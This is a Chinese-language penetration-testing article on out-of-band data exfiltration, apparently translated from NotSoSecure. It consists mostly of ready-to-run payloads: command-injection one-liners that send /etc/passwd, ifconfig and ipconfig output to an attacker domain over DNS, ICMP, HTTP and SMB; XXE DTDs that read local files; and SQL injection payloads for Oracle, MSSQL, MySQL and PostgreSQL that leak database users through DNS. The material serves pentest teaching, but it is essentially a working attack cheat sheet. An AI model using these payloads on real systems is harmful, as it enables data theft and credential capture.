简介
带外数据(OOB)是一种通过其他传输方式来窃取数据的技术(例如利用DNS解析协议和电子邮件)。OOB技术通常需要易受攻击的实体生成出站TCP/UDP/ICMP请求,然后允许攻击者泄露数据。OOB攻击的成功基于出口防火墙规则,即是否允许来自易受攻击的系统和外围防火墙的出站请求。而从域名服务器(DNS)中提取数据,则被认为是最隐蔽有效的方法。因此,本文也将重点介绍有关DNS泄露数据的技巧。
引发DNS请求
成功利用DNS从有漏洞的数据库中渗出数据的前提条件是,DBMS中有可用的能直接或间接引发DNS解析过程的子程序。 然后这类的子程序被攻击者利用,作为攻击的媒介。
任何可以接受网络地址的函数是最有可能被利用来进行这种攻击的。
注:出于本文目的,我们尽可能的将用于受害者的payloads以最小依赖性和权限保持为单行。
设置:DNS/OOB查询基础架构
先决条件
1. 具有静态IP地址的公共服务器:出于演示目的,我们将使用由Google云平台(GCP)提供的VPS服务。
2. 注册域:访问已注册的域设置,将权限委派给域名服务器。这里我们将使用oob.dnsattacker.com进行DNS解析。
具体步骤
我们使用Google Cloud Platform(GCP)创建具有静态IP地址的Linux机器。请确保你在服务器上具有root权限。如果你之前并没有任何有关GCP的创建经验,那么请参照本指南进行创建。
我们在注册商的DNS设置中,为我们的域添加了两条记录。使用NameServer定义了一个子域,以及为nameserver定义了A记录(我们GCP服务器的IP)。现在,这些设置将子域的所有DNS请求都路由到了我们的GCP服务器上。
我们可以使用tcpdump来观察服务器上的DNS查询情况。
系统命令注入:OOB
我们可以通过解析DNS名称并查找关联的DNS查询,来检测Web应用程序中的操作系统代码注入漏洞。
检测
DNS
攻击者:使用Wireshark/tcpdump观察53端口的响应情况。
sudo tcpdump -n port 53
注:在DNS命令中,我们还可以显式定义用于解析的名称服务器。
Windows
nslookup test.oob.dnsattacker.com
ping ping.oob.dnsattacker.com
UNIX
host host.oob.dnsattacker.com
同样,我们可以使用:
dig test.oob.dnsattacker.com
ping test.oob.dnsattacker.com
nslookup test.oob.dnsattacker.com
利用/渗出
DNS
注:使用Wireshark/tcpdump观察53端口的响应情况。
tcpdump -n port 53
Windows
受害者:
cmd /v /c "hostname > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=<temp3 && set FINAL=!MYVAR!.oob.dnsattacker.com && nslookup !FINAL!"
攻击者:
echo “encoded output” |base64 -d # decode the output with base64
使用多行发送输出
受害者
cmd /v /c "ipconfig > output && certutil -encodehex -f output output.hex 4 && powershell $text=Get-Content output.hex;$subdomain=$text.replace(' ','');$j=11111;foreach($i in $subdomain){ $final=$j.tostring()+'.'+$i+'.file.oob.dnsattacker.com';$j += 1; nslookup $final }" # Sending file in HEX
攻击者
sudo tcpdump -n port 53 | tee file.txt
提取和构建输出:
echo "0x$(cat file.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f 2|tr -d '\n')" | xxd -r -p
限制条件:需要Powershell。
Unix
受害者:
var=11111 && for b in $(ifconfig|xxd -p ); do var=$((var+1)) && dig $var.$b.file.oob.dnsattacker.com; done # Sending file in HEX
攻击者:
sudo tcpdump -n port 53 | tee file.txt
提取和构建输出:
echo "0x$(cat file.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f 2|tr -d '\n')" | xxd -r -p
与十六进制编码相比,Base64编码文件会小很多。
受害者:
var=11111 && for i in $(ifconfig|base64|awk '{gsub(/.{50}/,"&\n")}1'); do var=$((var+1)) && nslookup $var.$i.file.oob.dnsattacker.com; done# Sending file in base64
攻击者:
cat file2.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f 2|tr -d '\n'|base64 -d # Extracting Output
ICMP
Windows
受害者
cmd /v /c "ipconfig > output.txt && powershell $text=Get-Content output.txt;$ICMPClient = New-Object System.Net.NetworkInformation.Ping;$PingOptions = New-Object System.Net.NetworkInformation.PingOptions;$PingOptions.DontFragment = $True;$sendbytes = ([text.encoding]::ASCII).GetBytes($text);$ICMPClient.Send('dnsattacker.com',60 * 1000, $sendbytes, $PingOptions);
攻击者
sudo tcpdump 'icmp and src host 202.14.120.xx' -w powericmp.pcap #To capture
提取数据:
echo "0x$(tshark -n -q -r powericmp.pcap -T fields -e data.data | tr -d '\n' | tr -d ':')" | xxd -r -p #Or Use Wireshark gui
限制条件:需要Powershell。
Unix
受害者:
cat /etc/passwd | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 dnsattacker.com;don
攻击者:
sudo tcpdump 'icmp and src host 202.14.120.xx' -w icmp_file.pcap#To capture
提取数据:
echo "0x$(tshark -n -q -r icmp_file.pcap -T fields -e data.data | tr -d '\n' | tr -d ':')" | xxd -r -p #Or Use Wireshark gui
HTTP
Windows
受害者:
cmd /v /c "ipconfig > temp && certutil -f -encodehex temp output.hex 12 && set /p MYVAR=<output.hex && set FINAL="http://dnsattacker.com:9000/!MYVAR!" && powershell Invoke-WebRequest !FINAL!"
注:如果PowerShell不可用,请使用“mshta !Final!”。
攻击者:
echo "0x$(ncat -lvp 9000 |grep -i get|tr -d '/' |cut -d ' ' -f2)" |xxd -r -p
Unix
受害者:
wget --header=evil:$(ifconfig|xxd -p -c 100000) http://dnsattacker.com:9000
攻击者:
echo "0x$(ncat -lvp 9000 |grep -i evil|tr -d '/' |cut -d ' ' -f2)" |xxd -r -p
同样,我们可以使用:
wget –post-data exfil='cat /etc/passwd' http://dnsattacker.com # extract data in post section
wget –post-file trophy.php http://dnsattacker.com # extract source code
cat /path/to/sensitive.txt | curl –F ":data=@-" http://dnsattacker.com/test.txt
SMB [使用Responder窃取哈希]
Windows
受害者
net use h: \\dnsattacker.com\web
攻击者
sudo ./Responder.py -I eth0#Run responder to capture hashes
同样,我们可以使用:
net use h: \\dnsattacker.com\web /user: {password} && copy {file.txt to Copy} h:\{file.txt}.txt
XXE:Out of Band
检测
我们可以通过向攻击者域(即oob.dnsattacker.com)创建DNS请求来确认XXE漏洞是否存在。这里有一个非常好的XML实体利用的练习框架推荐给大家。
受害者:
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://xxeoob.oob.dnsattacker.com">
<foo>&e1;</foo>
攻击者:
sudo tcpdump -n udp port 53
限制:在撰写本文时,DNS查询仅能用于XXE的检测。
利用/渗出
HTTP
攻击者:运行python HTTP server来托管dtd文件。
python -m SimpleHttpServer 9000
受害者:
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://dnsattacker.com:9000/linux.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>
linux.dtd
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://dnsattacker.com:9000/%data;'>">
注:对基于Windows的受害者机器,请使用以下dtd文件。
windows.dtd
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM ' http://dnsattacker.com:9000/%data;'>">
FTP
攻击者:
运行python HTTP server来托管dtd文件以及xxeftp server(请参考此处)。
python -m SimpleHttpServer 9000
python xxeftp.py
受害者:
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://dnsattacker.com:9000/linux.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>
linux.dtd
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://dnsattacker.com:2121/%data;'>">
注:对基于Windows的受害者机器,请使用以下dtd文件。
windows.dtd
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://dnsattacker.com:2121/%data;'>">
SMB [窃取哈希]
攻击者:运行responder捕获哈希值
sudo ./Responder.py -I eth0
受害者:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "\\dnsattacker.com\test" >]>
<foo>&xxe;</foo>
注:出于演示目的,我们将使用CVE-2018-0878:Windows远程协助信息泄露漏洞。
类似地,其他可能泄露数据的payloads
http://oob.dnsattacker.com:port/%data
ftp://oob.dnsattacker.com:port/%data
gopher://oob.dnsattacker.com:port/%data%
ldap://oob.dnsattacker.com:port
\\oob.dnsattacker.com\\C$\\1.txt
SQL注入
注:所有数据库服务器都安装在Windows上。有关SQL Injection cheat sheets请参考[1][2]
检测
DNS
攻击者:使用Wireshark/tcpdump观察53端口响应情况。
sudo tcpdump -n port 53
ORACLE
检测
受害者
SELECT DBMS_LDAP.INIT((‘oob.dnsattacker.com',80) FROM DUAL;
注:上述功能需要更高的权限才能调用。
利用/渗出
受害者
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.attacker.com',80) FROM dual; /* Extracting Oracle database version */
同样,我们可以使用以下payloads。
受害者
SELECT DBMS_LDAP.INIT((SELECT user FROM dual)||'.attacker.com',80) FROM dual; /*Extracting Current user in Oracle database */
如果你使用的Oracle为10G或更低版本,则可以使用一些替代方法来创建DNS查询:UTL_INADDR.GET_HOST_ADDRESS, UTL_HTTP.REQUEST, HTTP_URITYPE.GETCLOB, DBMS_LDAP.INIT and UTL_TCP。
MSSQL
检测
受害者
EXEC master..xp_dirtree '\\oob.dnsattacker.com \' –
利用/渗出
受害者
DECLARE @data varchar(1024);
SELECT @data = (SELECT system_user);
EXEC('master..xp_dirtree "\\'+@data+'.oob.dnsattacker.com\foo$"');
限制条件:数据库用户须为sysadmin权限。
类似地,创建DNS查询的其他方法包括:xp_fileexists,xp_subdirs,xp_getfiledetails,sp_add_jobstep
MYSQL
检测
受害者
SELECT LOAD_FILE(CONCAT('\\\\', 'oob.dnsattacker.com\\test.txt'));
利用/渗出
受害者
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT HEX(CONCAT(user(),"\n"))), '.oob.dnsattacker.com\\test.txt'));
限制条件:数据库用户须具有Select,update和“文件”权限。
Postgresql
检测
受害者
CREATE EXTENSION dblink;SELECT dblink_connect('host=oob.dnsattacker.com user=postgres password=password dbname=dvdrental');
限制条件:用户必须具有超级用户权限才能执行CREATE EXTENSION查询。
利用/渗出
受害者
DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $$
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT encode(convert_to(concat(user,' '), 'UTF8'),'hex'));
exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.oob.dnsattacker.com\\\\foobar.txt\'';
EXECUTE exec_cmd;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();
使用DNS泄露数据的限制
域名最多可包含127个子域。
每个子域最多只能包含63个字符长度。
完整域名的最大长度为253个字符。
DNS记录缓存为每个URL请求都添加了一个唯一值。
DNS是明文通道,因此通过DNS提取的任何数据都将采用明文格式,并可供中间节点和DNS服务器缓存使用。因此,建议不要通过DNS泄露一些较为敏感的数据。
相关参考
https://github.com/beefproject/beef/wiki/Installation
https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
https://www.youtube.com/watch?v=COVtU5G0Iys
https://github.com/Arno0x/DNSExfiltrator
https://blog.zsec.uk/out-of-band-xxe-2/
https://github.com/api0cradle/Powershell-ICMP/blob/master/Powershell-ICMP-Sender.ps1
https://github.com/lukebaggett/dnscat2-powershell/blob/master/dnscat2.ps1
https://ss64.com/nt/certutil.html
https://isc.sans.edu/forums/diary/Exfiltrating+data+from+very+isolated+environments/23645/
https://pentest.blog/data-ex-filtration-with-dns-in-sqli-attacks/
https://www.aldeid.com/wiki/File-transfer-via-DNS
https://www.dbrnd.com/2015/05/postgresql-cross-database-queries-using/
*参考来源:notsosecure , FB小编 secist 编译,转载请注明来自FreeBuf.COM